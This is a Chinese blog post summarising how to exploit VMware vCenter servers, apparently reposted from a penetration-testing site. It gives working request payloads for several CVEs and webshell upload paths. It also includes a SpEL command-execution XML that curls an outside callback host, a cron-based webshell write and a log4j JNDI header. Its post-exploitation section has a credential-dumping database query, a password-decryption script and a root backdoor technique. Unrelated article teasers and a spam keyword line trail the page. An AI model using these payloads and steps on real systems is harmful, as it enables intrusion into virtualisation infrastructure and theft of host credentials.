<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    干貨 | vCenter 漏洞利用總結

    一顆小胡椒2022-12-16 10:27:48

    1 vSphere 背景介紹

    vSphere,ESXi 和 vCenter 辨析:

    • VMware Inc

    **VMware Inc ** 是一家軟件公司。它開發了許多產品,尤其是各種云解決方案 。它的云解決方案包括云產品,數據中心產品和桌面產品等。

    • vSphere

    vSphere 是在數據中心產品下的一套軟件。vSphere 類似微軟的 Office 辦公套件,Office 辦公套件包含了許多軟件如 Word,Excel,Access 等。和 Office 一樣,vSphere 也是一個軟件的集合。它包括了 vCenter Server, ESXi 和 vSphere client,是整套虛擬化部署方案的總和。

    • ESXi

    ESXi 是 vSphere 中最重要的一個組件。ESXi 是虛擬化服務。所有的虛擬機都是運行在 ESXi 服務上面。

    • vSphere Client

    vSphere (web) client 是一個管理平臺,它能夠直接管理多個不同的 ESXi 主機,包含許多進階功能:集群故障轉移等。而 ESXi 自帶的管理平臺只能管理自身所處的 ESXi 主機。而 vSphere client 有更加詳細的性能監控,批量更新接管所有 ESXi 系統版本。通過資源池也可以規劃虛擬機資源占用。

    • vCenter Server

    在 ESXi 6.0 之前是通過 C/S 架構來管理 ESXi 集群的,沒有 web 端,且安裝環境較為苛刻,必須為 Server 版本的服務器才可以安裝。在 6.0 版本之后,官方已經取消了 C/S 架構的客戶端,轉而采用了 web 管理平臺,又被稱之為 vSphere web client。而部署了 vSphere web client 的服務器被稱之為 vCenter Server

    官方推薦將打包好的 Client 與 Server 應用部署在 VMware 自家的 Photon 系統下,其安裝包命名為:VMware vCenter Server Appliance,簡稱為:VCSA

    2 常見漏洞

    2.1 版本信息探測

    通過調用 VMWare Sphere 組件的 SOAP API,可以獲取其版本信息,XML 數據如下:


    xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"xmlns:xsd="http://www.w3.org/2001/XMLSchema"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">00000001-00000001xmlns="urn:internalvim25"><_this xsi:type="ManagedObjectReference" type="ServiceInstance">ServiceInstance
    

    Nuclei 相關模板:

    /nuclei-templates/technologies/vmware/vmware-detect.yaml

    2.2 任意文件讀取

    影響版本:Vmware vCenter Server <= 6.5.0

    Fofa Dork:title="ID_VC_Welcome"

    VMware vCenter 存在任意文件讀取漏洞,可讀取 vCenter 配置文件獲得管理帳號密碼進而控制 vCenter 平臺及其管理的虛擬機集群。

    由于 EAM 用戶運行該存在漏洞的服務(非域用戶),因此不存在 NTLM Relay 等中繼攻擊風險。

    由于不同的系統版本,數據庫配置文件(vcdb.properties)存放位置不同,根據官方文檔,大體可以分為:

    對于 vCenter Server 5.5 及更低版本:

    • Windows 2008 - C:\ProgramData\VMware\VMware VirtualCenter
    • 其他 Windows 版本 - 
    • C:\Documents and Settings\All Users\Application Data\VMware\VMware VirtualCenter\
    • 對于 vCenter Server 6.0、6.5、6.7:
    • C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx

    POC:

    1 2
    GET /eam/vib?id={{path}}\vcdb.properties HTTP/1.1 Host: {{Hostname}}
    

    nuclei 中對應的 poc:

    /nuclei-templates/vulnerabilities/vmware/vmware-vcenter-lfi.yaml

    /nuclei-templates/vulnerabilities/vmware/vmware-vcenter-lfi-linux.yaml

    2.3 CVE-2021-21972

    2.3.1 漏洞利用

    默認啟用的 vROps 插件(com.vmware.vropspluginui.mvc)ServicesController 類的 uploadova 接口存在未授權訪問,可利用路徑穿越將文件解壓至特定目錄實現 getshell。

    影響版本:

    7.0 <= vCenter Server < 7.0 U1c

    6.7 <= vCenter Server < 6.7 U3l

    6.5 1e <= vCenter Server < 6.5 U3n

    4.x <= Cloud Foundation (vCenter Server) < 4.2

    3.x <= Cloud Foundation (vCenter Server) < 3.10.1.2

    POC:

    /nuclei-templates/cves/2021/CVE-2021-21972.yaml

    EXP:

    https://www.exploit-db.com/exploits/49602

    2.3.2 漏洞分析

    定位到存在漏洞的 Jar 包:

    /etc/vmware/vsphere-ui/vc-packages/vsphere-client-serenity/com.vmware.vrops.install-6.x.x.xx000/plugins/vropsplugin-service.jar

    注意到第 463 行,直接將 TAR 的文件名與 /tmp/unicorn_ova_dir 拼接并寫入文件。如果文件名內存在 ../,可將文件解壓至 vsphere-ui 用戶有權限的目錄。切入該用戶并查找可寫目錄:


    su vsphere-uifind / -writable -type d |& grep -v "Permission denied"
    

    其中 .ssh 目錄可寫,因此,最為常見的思路就是寫入公鑰,并利用該用戶登錄。但是該方式存在一定的局限,首先看一下 shadow 文件:

    看到密碼過期時間為 90 天,因此在安裝 90 天后即使寫入了公鑰登錄也會提示密碼過期,需要提供原密碼并修改密碼。此外,vsphere-ui 用戶的第二項為 !,這表示該用戶未設置密碼(與空密碼不同),所以也就沒法修改密碼,因此,當密鑰過期后,就無法再次登錄。

    另一種思路就是寫入 Webshell。首先需要遍歷找出存在有 jsp 的 web.xml 并且目錄可寫:


    grep "jsp" $(find / -name "*web.xml")
    

    最終確定了如下幾個 linux 下的存放位置:


    # vCenter 6.5/6.7 < 13010631/usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/%d/0/h5ngc.war/resources/
    # vCenter 6.7 >= 13010631/usr/lib/vmware-vsphere-ui/server/static/resources/libs/
    # vCenter 7.0,其中 resources15863815 動態生成,可以通過訪問 /ui 可以獲取該目錄信息/usr/lib/vmware-vsphere-ui/server/static/resources15863815/libs/
    


    由 /usr/lib/vmware-vsphere-ui/server/configuration/tomcat-server.xml 查到監聽端口為 5090,再由 rhttpproxy 反向代理找到 web 訪問路徑:

    最后將 webshell 釋放至

     /usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/xx/0/h5ngc.war/resources/ 目錄或其子目錄,即可解析并由 https://IP/ui/resources/webshell.jsp 訪問

    該路徑中的 xx 并非是固定數值,會隨著重裝重啟等行為發生改變,所以構造上傳包時可以暴力批量添加,并探測是否上傳成功。

    此外,6.7U2 及之后的版本,會在服務啟動時判斷如果存在 work 目錄就刪除,也就是說 Web 是跑在內存里面的。這時對于 6.7U2 及更新的 6.7 版本可以將 webshell 釋放至 /usr/lib/vmware-vsphere-ui/server/static/resources/libs/ 目錄作為后門,待其重啟后會被加載運行。對于 7.0 版本 static 后面的 resources 會跟一串動態數字路徑,能夠在請求的返回包中獲取到。

    針對 Windows 版本,可以在目標服務器上寫入 JSP webshell 文件,由于服務是 System 權限,所以可以任意文件寫。常用的目錄為:C:\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\,訪問 https://IP/statsreport/xxx.jsp 即可。

    其它常見路徑可以參考:vCenter2021幾個漏洞及后滲透

    2.4 CVE-2021-21985

    2.4.1 漏洞利用

    默認啟用的 Virtual SAN Health Check 插件(vsan-h5-client.zip)/rest/*接口存在未授權訪問,可利用不安全的反射調用實現 RCE。

    影響版本:

    7.0 <= vCenter Server < 7.0 U2b

    6.7 <= vCenter Server < 6.7 U3n

    6.5 <= vCenter Server < 6.5 U3p

    4.x <= Cloud Foundation (vCenter Server) < 4.2.1

    3.x <= Cloud Foundation (vCenter Server) < 3.10.2.1

    POC:

    /nuclei-templates/cves/2021/CVE-2021-21985.yaml

    EXP:

    https://github.com/r0ckysec/CVE-2021-21985

    2.4.2 漏洞分析

    出網利用

    首先定位到 vsan-h5-client 插件存放位置:find / -name '*vsan*' | grep 'h5',最終確定在 /usr/lib/vmware-vpx/vsan-health/ui-plugins/vsan-h5-client.zip 目錄下。

    下載,解壓并反編譯其中的 jar 包,由于漏洞情報中描述為未授權訪問,首先在 h5-vsan-context.jar 的 web.xml 中尋找相關線索,在已經修復的版本中,已經添加了相應的 filter:

    在 h5-vsan-service.jar 中找到 com.vmware.vsan.client.services.AuthenticationFilter,如果未認證,則直接返回 401。

    另一處變動在 h5-vsan-service.jar 中 ProxygenController 類的 invokeService 方法:

    添加了校驗,檢測反射調用的方法是否為帶有 TsService 注解,啟用了白名單機制。因此基本可以確定漏洞點位于該類中。

    TsService 注解源碼:

    向上尋找到定義 @RequestMapping 路由的 Controller,可以看到在請求路徑中獲取 Bean 名稱或者類名和方法名稱,接著從 POST 數據中獲取 methodInput 列表作為方法參數,接著進入 invokeService 方法:

    invokeServer 先獲取了 Bean 實例,接著獲取該實例的方法列表,比對方法名和方法參數長度后,將用戶傳入的參數進行了一個簡單的反序列化后利用進行了調用。

    所以接下來就是在 Spring 工廠創建的 bean 里查找危險方法構建利用鏈了,在 vsan-h5-client/plugins/h5-vsan-service/META-INF/spring/base/*.xml 配置文件中找到 bean 的定義,所有 scope 都是缺省的 singleton 而且沒有配置 lazy-init,也就是說這些 bean 都會在 spring 項目啟動時單例加載。

    漏洞作者所使用的 Bean 是 vmodlContext,對應 jar 為 /etc/vmware/vsphere-ui/vc-packages/vsphere-client-serenity/com.vmware.vrops.install-6.x.x.xx000/plugins/vropsplugin-service.jar,類是 com.vmware.vim.vmomi.core.types.impl.VmodContextImpl,其中的 loadVmodlPackage 方法代碼如下:

    其中會通過 NonValidatingClassPathXmlApplicationContext 加載 contextPath,而該類繼承自:ClassPathXmlApplicationContext

    因此可以構造遠程加載解析 xml 中的 SpEL 表達式進而執行命令。

    需要注意的是,在 SpringContextLoader 的 getContextFileNameForPackage 會將路徑中的 . 替換為 /,所以無法指定一個正常的 IPv4 地址,但是可以利用數字型 IP 繞過:

    XML 文件內容及攻擊效果如下:


    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns:context="http://www.springframework.org/schema/context"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context https://www.springframework.org/schema/context/spring-context.xsd">
    /bin/bash-ccurl http://dj0esgxds3fv9m4a0a6dzorr0i69uy.oastify.com
    


    不出網利用

    若要利用此漏洞,本質上需要獲取一個 XML 文件的內容,而 Java 的 URL 并不支持 data 協議,那么需要返回內容可控的 SSRF 或者文件上傳漏洞。這里利用的是返回內容可控的 SSRF 漏洞。漏洞位于 /usr/lib/vmware-vpx/vsan-health/pyMoVsan/ 下的 vSAN Health 組件中 VsanHttpProvider.py 存在一個未授權訪問 SSRF。

    漏洞點是 238 行 urlopen 庫函數進行 HTTP 請求,接著將返回內容在內存中進行解壓,并且匹配文件名為 .*offline_bundle.* 的內容并進行返回。Python 的 urlopen 支持 data 協議,所以可以構造一個壓縮包并 Base64 編碼,構造 data 協議的 URL:

    在利用的過程中,將 IP 地址替換為 localhost 即可防止 . 被替換。由于這個路由在 6.5 版本的 vSAN Health 不存在,所以無法在 6.5 版本上不出網利用。

    現在雖然不用進行外網請求,但是仍然無法獲取命令回顯。通過查看 Bean 列表,發現存在名為 systemProperties 的 Bean。同時這個 Bean 也存在方法可以獲取屬性內容:

    所以在執行 SpEL 時,可以將命令暫存到 systemProperties 中,然后利用 getProperty 方法獲取回顯。最終的 context.xml 內容為:


    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">/bin/bash-c&1 ]]>#{pb.start().getInputStream()}#{is}
    


    最終漏洞利用的結果:

    2.5 CVE-2021-22005

    2.5.1 漏洞利用

    Analytics 服務相關端點存在目錄穿越寫文件,可以直接上傳 Webshell 文件,并獲取 root 權限。

    影響版本:

    7.0 <= vCenter Server < 7.0 U2c

    6.7 <= vCenter Server < 6.7 U3o

    POC:

    /nuclei-templates/cves/2021/CVE-2021-22005.yaml

    EXP:

    https://github.com/r0ckysec/CVE-2021-22005

    https://github.com/shmilylty/cve-2021-22005-exp

    2.5.2 漏洞分析

    兩種觸發方式,一種是開啟 CEIP (Customer Experience Improvement Program) 時,通過 log4j 記錄日志的功能實現任意文件寫入,另一種是通過 Velocity 模板注入執行代碼。這個漏洞拿到的權限是 root 權限。

    AsyncTelemetryController 漏洞

    根據官方的漏洞通告可以發現,存在漏洞的 API 路徑為:/analytics/telemetry/ph/api/hyper/send。而對應路徑的 rhttpproxy 策略在 vCenter 各版本中也不盡相同,有些版本只有 /analytics/telemetry/ 可以直接訪問,有些版本則 /analytics/ 下均可訪問:

    根據 poc 提示接口 /analytics/telemetry/ph/api/hyper/send,找到對應的類:

    analytics-push-telemetry-server-6.7.0.jar#com.vmware.ph.phservice.push.telemetry.server.AsyncTelemetryController.class

    對 /ph/api/hyper/send 路徑的 _v_c_i請求參數分別綁定給變量 versioncollectorIdcollectorInstanceId。跟進 handleSendRequest 函數,最終將調用 telemetryService.processTelemetry() 方法:

    繼續進入 TelemetryService.processTelemetry(),上面剛剛創建的 TelemetryRequest 將被提交到一個隊列并在不久之后在 TelemetryRequestProcessorRunnable 處執行:

    TelemetryLevelBasedTelemetryServiceWrapper 類 processTelemetry 方法會調用 DefaultTelemetryLevelService 類 getTelemetryLevel 方法獲取 telemetryLevel

    繼續跟進看到需要 isCeipEnabled 不為默認值 false 才會繼續:

    隨后調用 LogTelemetryService 類 processTelemetry 方法,利用 log4j 寫日志文件至 /var/log/vmware/analytics/prod/ 目錄,文件內容為 POST 請求體數據:

    日志文件存儲在 /var/log/vmware/analytics/prod/_c_i.json

    并且因為 filename 中同時包含 collectorId 和 collectorInstanceId,所以可以在路徑遍歷中添加 ../ 字符,在另一個文件夾中隨意創建一個文件的情況。但是,在 Linux 系統中,如下面的路徑中含有不存在的文件夾,在創建文件時會報錯:

    1
    /var/log/vmware/analytics/prod/_c_i/../../../../../../tmp/POC
    

    如何遠程創建該臨時文件內,經過可以在 _i 參數前加一個斜杠,目錄會被創建。之后就可以通過目錄拼接的形式進行文件寫入。

    目前已經可以控制任意文件寫入,但是沒有辦法控制文件后綴 .json,對于 linux 的機器可以寫入計劃任務來執行寫 shell 的操作:


    POST /analytics/telemetry/ph-stg/api/hyper/send?_c=&_i=/../../../../../../etc/cron.d/POC HTTP/1.1Host: IPContent-Type: application/jsonContent-Length: 144
    * * * * * root echo PCUgICAgICAgIG91dC5wcmludGxuKCJIZWxsb1dvcmxkIik7ICAgICAgJT4=|base64 -d >/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/hello.jsp
    


    待定時任務啟動后,可在 https://localhost/idm/..;/hello.jsp 可以訪問到 shell。

    (這里的/..;/是因為Tomcat會將/..;/視作/../,可以利用該特性繞過 vCenter 某些版本的 rhttpproxy 的訪問限制)。

    DataAppAgentController 漏洞

    官方提供的 POC 中還涉及到一個接口:/analytics/telemetry/ph/api/dataapp/agent,而在新版本的代碼中,已經將端點: /dataapp/agent 相關代碼全部刪除,因此確定漏洞的位置。

    最終通過VelocityHelper.executeVelocityExpression 觸發 velocity 表達式執行。

    最終 @testbnull 發現可以通過上下文可用的 $GLOBAL-logger,利用 setFile 方法臨時修改日志路徑到 Web 路徑的方式,寫入 WebShell 實現 RCE。

    2.6 provider-logo SSRF 漏洞

    2.6.1 漏洞利用

    VMware vCenter v 7.0.x 的某些版本中存在未授權 SSRF 漏洞,可以讀取本地文件造成敏感信息泄露;讀取遠程文件形成 XSS 漏洞。

    POC & EXP:

    /nuclei-templates/vulnerabilities/vmware/vmware-vcenter-ssrf.yaml


    GET /ui/vcav-bootstrap/rest/vcav-providers/provider-logo?url=file:///etc/passwd HTTP/1.1Host: {{target}}
    


    讀取 /etc/passwd

    讀取 postgresql 配置文件:

    2.6.2 漏洞分析

    漏洞 url 為 /ui/vcav-bootstrap/rest/vcav-providers/provider-logo,通過 500 錯誤獲取代碼調用棧,最后在 ProvidersController.getProviderLogo 執行時出錯。定位到相關 jar 包:/etc/vmware/vsphere-ui/cm-service-packages/com.vmware.cis.vsphereclient.plugin/com.vmware.h4.vsphere.client-0.4.1.0/plugins/h5-vcav-bootstrap-service.jar

    com.vmware.h4.vsphere.ui.bootstrap.controller.ProvidersController.getProviderLogo() 函數代碼比較簡單,通過 URLConnection 讀取 URL 并解析。

    2.7 log4j2 JNDI 注入

    VMware 的產品同樣也受 log4j2 漏洞的影響,具體可以參考:VMSA-2021-0028。

    POC:

    /nuclei-templates/vulnerabilities/vmware/vmware-vcenter-log4j-jndi-rce.yaml


    GET /websso/SAML2/SSO/vsphere.local?SAMLRequest= HTTP/1.1Host: {{Hostname}}X-Forwarded-For: ${jndi:${lower:d}n${lower:s}://${env:hostName}.{{interactsh-url}}}
    

    具體漏洞成因在此就不再贅述。

    3 后滲透測試

    3.1 SAML 證書登錄

    vSphere 5.0 版本引入了 SSO,支持使用 SAML 作為授權服務支持。當用戶登錄服務時,該服務會將身份驗證請求轉發給 SAML 。SAML 驗證用戶憑據是否正確以及他們是否有權訪問指定的服務。

    在 vCenter 中從 /storage/db/vmware-vmdir/data.mdb 提取 IdP 證書,為管理員用戶創建 SAML 請求,最后使用 vCenter server 進行身份驗證并獲得有效的管理員 cookie。

    首先需要從 vCenter 獲得數據庫文件:

    Linux:/storage/db/vmware-vmdir/data.mdb

    Windows:C:\ProgramData\VMware\vCenterServer\data\vmdird\data.mdb

    利用 SAML 解密腳本生成 Cookie:

    1
    python3 vcenter_saml_login.py -p data.mdb -t 192.168.0.92
    

    登錄 VCSA 管理面板,訪問 https://IP/ui,并設置 Cookie 為上面的返回結果。

    3.2 CVE-2022-22948 權限配置不當

    vCenter Server 包含由于文件權限不正確而導致的信息泄露漏洞,可以利用此漏洞在對 vCenter Server 具有非管理員訪問權限的情況下獲取敏感信息。

    通過第二節描述的漏洞獲取的 webshell 權限通常為:vphere-ui,歸屬于用戶組:cis。在 vCenter 系統的研究中,存在一個包含客戶端 postgresDB 的明文登錄憑證的文件:/etc/vmware-vpx/vcdb.properties。任何屬于 cis 組的用戶都可以訪問這個文件。即:任何屬于 cis 組的用戶都可以連接到 vCenter 的 Postgres 數據庫。

    獲取 postgresql 配置文件信息:


    # linuxcat /etc/vmware-vpx/vcdb.properties# orcat /etc/vmware/service-state/vpxd/vcdb.properties
    # windowstype  C:\ProgramData\VMware\vCenterServer\cfg\vmware-vps\vcdb.properties
    

    連接數據庫,讀取 vpxuser 密鑰:


    # linux/opt/vmware/vpostgres/current/bin/psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" > password.enc
    #windowsC:\Program Files\VMware\vCenter Server\vPostgres\bin\psql.exe -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" > password.enc
    

    獲取 symkey.dat


    # linuxcat /etc/vmware-vpx/ssl/symkey.dat
    # windowstype C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\ssl\symkey.dat
    

    解密 vpxuser 密碼

    1
    python3 decrypt.py symkey.dat password.enc password.txt
    

    解密腳本如下:


    import base64import sys
    from Crypto.Cipher import AES
    
    usage = """Where is symkey.datWindows:C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\ssl\symkey.datLinux:/etc/vmware-vpx/ssl/symkey.dat
    
    Where is psqlWindows: C:\Program Files\VMware\vCenter Server\vPostgres\bin\psql.exeLinux: /opt/vmware/vpostgres/current/bin/psqlpsql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" > password.enc
    python3 decrypt.py symkey.dat password.enc password.txt"""
    
    def pkcs7unpadding(text):    length = len(text)    padding_length = ord(text[-1])return text[0:length-padding_length]
    
    def decrypt(key, enc_passwords):    passwords = []    key_bytes = bytes.fromhex(key)for enc_password in enc_passwords:        content = base64.b64decode(enc_password)        iv_bytes = content[:16]        enc_password_bytes = content[16:]        cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)        password_bytes = cipher.decrypt(enc_password_bytes)        password = str(password_bytes, encoding='utf-8')        password = pkcs7unpadding(password)        passwords.append(password)return passwords
    
    def save_decrypt_password(path, passwords):    data = ''.join(passwords)with open(path, 'w') as file:        file.write(data)
    
    def get_encrypt_password(path):    encrypt_passwords = []with open(path) as file:for line in file:            encrypt_password = line.strip('*').strip()            encrypt_passwords.append(encrypt_password)return encrypt_passwords
    
    def get_key(path):with open(path) as file:        key = file.read().strip()return key
    
    def main():if len(sys.argv) != 4:        print(usage)        exit(1)    key = get_key(sys.argv[1])    encrypt_passwords = get_encrypt_password(sys.argv[2])    save_path = sys.argv[3]    passwords = decrypt(key, encrypt_passwords)    save_decrypt_password(save_path, passwords)
    
    if __name__ == '__main__':    main()
    

    上述獲取到的 vpxuser 是在 ESXi 與 vCenter 的第一次連接中自動創建的高權限用戶。

    vpxuser 用戶是默認在 ESXi 上創建的,它是根據最小權限原則設計的,所以它可以由 vCenter 管理而不使用 root。該用戶是通過一個名為 vpxd 的進程創建的,它負責 ESXi 和 vCenter 之間的通信。

    關于這個用戶的信息并不多,在 ESXi 上的 passwd 文件中發現了一個關于它的注釋 - VMware VirtualCenter administrator account

    最后,使用 vpxuser 憑證通過 SSH 連接到具有高權限的被管理的 ESXi,并可以對 ESXi 完全控制:提取虛擬機的內存、列出庫存、獲取敏感文件、訪問敏感信息等。

    3.3 CVE-2021-22015 - vCenter 提權漏洞

    CVE-2021-22015 - vCenter 提權漏洞

    分析 vCenter 中以 root 權限運行的進程,發現如下在同一個文件夾下運行的 java 進程均鏈接到同一個文件:

    查看 /usr/lib/vmware-vmon/java-wrapper-vmon 修改權限:

    cis 用戶組可以修改該文件。在 /etc/group 下查看 cis 用戶組中的相關用戶:

    發現 vsphere-ui 用戶在其中,說明該用戶可以修改 java-wrapper-vmon 文件。配合第二節的文件上傳漏洞,在 vsphere-ui webshell 的權限下,將后門代碼添加到 java-wrapper-vmon 中,并重啟服務(service-control --start --all),可以以 root 權限運行后門代碼,達到提權的目的。


    作者:geekby原文地址:https://www.geekby.site/2022/05/vcenter%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/#21-%E7%89%88%E6%9C%AC%E4%BF%A1%E6%81%AF%E6%8E%A2%E6%B5%8B如有侵權,請聯系刪除
    

    參考:


    VMware vCenter RCE 漏洞踩坑實錄https://www.anquanke.com/post/id/234112
    VMware vCenter 漏洞分析(一)https://hosch3n.github.io/2021/07/06/VMware-vCenter%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90%ef%bc%88%e4%b8%80%ef%bc%89/
    Vcenter 漏洞分析https://cangqingzhe.github.io/2021/06/07/Vcenter%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90/
    CVE-2021-21985 vCenter Server 遠程代碼執行漏洞分析http://noahblog.#/vcenter-cve-2021-2021-21985/
    vCenter 2021 幾個漏洞及后滲透https://daidaitiehanhan.github.io/2022/04/18/vCenter2021%e5%87%a0%e4%b8%aa%e6%bc%8f%e6%b4%9e%e5%8f%8a%e5%90%8e%e6%b8%97%e9%80%8f/
    全網最詳細的 ESXI 進階教程https://www.bilibili.com/video/BV1Cp4y147Dd
    CVE-2021-21972 vCenter Server 文件寫入漏洞分析http://noahblog.#/vcenter-6-5-7-0-rce-lou-dong-fen-xi/
    CVE-2021-21972 復現和分析https://0x20h.com/p/7cb6
    CVE-2021-22005-CEIP分析https://xz.aliyun.com/t/10524
    VMware CVE-2021-22005 Technical & Impact analysishttps://censys.io/vmware-cve-2021-22005-technical-impact-analysis/
    vSphere開發指南6——vCenter SAML Certificateshttps://3gstudent.github.io/vSphere%e5%bc%80%e5%8f%91%e6%8c%87%e5%8d%976-vCenter-SAML-Certificates
    CVE-2022-22948: Sensitive Information Disclosure in VMware vCenterhttps://www.pentera.io/blog/information-disclosure-in-vmware-vcenter/
    
    vsphere用戶分析
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    從VMware vCenter SSRF漏洞調試來看系統模塊調用與認證機制。
    它的云解決方案包括云產品,數據中心產品和桌面產品等。它包括了 vCenter Server, ESXi 和 vSphere client,是整套虛擬化部署方案的總和。是 vSphere 中最重要的一個組件。而 vSphere client 有更加詳細的性能監控,批量更新接管所有 ESXi 系統版本。在 6.0 版本之后,官方已經取消了 C/S 架構的客戶端,轉而采用了 web 管理平臺,又被稱之為 vSphere web client。官方推薦將打包好的 Client 與 Server 應用部署在 VMware 自家的 Photon 系統下,其安裝包命名為:VMware vCenter Server Appliance,簡稱為:VCSA。
    安識科技A-Team團隊監測到 VMware 官方發布安全補丁的通告,共修復了2個安全漏
    VMware vCenter Server 提供了一個可伸縮、可擴展的平臺,為虛擬化管理奠定了基礎。可集中管理VMware vSphere環境,與其他管理平臺相比,極大地提高了 IT 管理員對虛擬環境的控制。
    9月15日,一名黑客侵入了一名優步員工的辦公通訊應用 Slack,發布了如上信息。優步已在事發后第一時間報警。雖然目前尚不清楚黑客的具體動機,但據悉,這名黑客是一名年僅18歲的少年,利用社會工程學及MFA疲勞攻擊成功打破了這家巨頭的安全防線。MFA 疲勞攻擊是指向目標發出重復的驗證請求,直到受害者厭倦并接受。事發后,公司向黑客支付了價值10萬美元比特幣,使得該事件在隨后一年內并未被曝光。
    一、境外廠商產品漏洞 1、Adobe Genuine Software Service訪問控制錯誤漏洞
    VMware vCenter Server 提供了一個可伸縮、可擴展的平臺,為虛擬化管理奠定了基礎。
    全球矚目的北京冬奧會即將開幕,2022年中國多項重大活動也正在積極籌備,在這一關鍵時間節點,中國成為了全球APT組織網絡攻擊的重要目標。 01 APT攻擊趨勢總述 近年來,網絡空間安全威脅發生巨大的變化,具備國家背景的APT攻擊也越來越多的被安全研究機構曝光。 國家背景的APT 攻擊有著復雜度高、對抗性強、隱蔽性強等特點,通常有著竊取政府單位的國家機密、重要企業的科技信息、破壞網絡基礎設施等
    Log4j2漏洞甫一爆發,便在全球掀起軒然大波,影響范圍之廣,危害性之大無出其右。Log4j2事件是一場典型的開源軟件導致的供應鏈事件,上游軟件提供商的漏洞殃及下游產業的產品提供者,依賴關系的錯綜復雜使影響范圍擴大,最終遍及整個網絡空間。Log4j2事件為安全廠商與網絡安全從業者敲響了警鐘,必須警惕開源軟件的供應鏈中暗藏的危機,并采取有效行動。
    這場沖突中衍生了一種新型參與方式:網絡犯罪論壇和勒索軟件組織對局勢作出反應并采取行動。該季度,勒索組織利用的舊漏洞數量環比激增17.9%;新漏洞數量則相比上季度增加了22個,環比增幅達7.6%。操作系統中的漏洞最容易被勒索軟件利用,其數量在2022年第一季度為125個。CSW還研究了漏洞公布時間、補丁發布時間和被勒索組織利用時間這三者之間的關系。
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类